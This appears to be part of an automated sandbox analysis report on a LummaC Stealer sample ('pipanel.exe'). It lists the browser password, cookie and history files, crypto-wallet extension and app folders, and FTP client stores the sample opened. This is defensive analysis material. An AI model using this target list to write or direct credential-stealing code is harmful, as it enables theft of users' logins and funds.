WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: pipanel.exe PID: 3732, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: pipanel.exe, 00000008.00000003.3177873716.0000000003289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: pipanel.exe	String found in binary or memory: Wallets/ElectronCash
Source: pipanel.exe	String found in binary or memory: Jaxx Liberty
Source: pipanel.exe, 00000008.00000003.3177873716.0000000003289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: pipanel.exe	String found in binary or memory: ExodusWeb3
Source: pipanel.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: mDHwap5GlV.exe, 00000000.00000002.2594220011.000000000CBE1000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: get_MachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
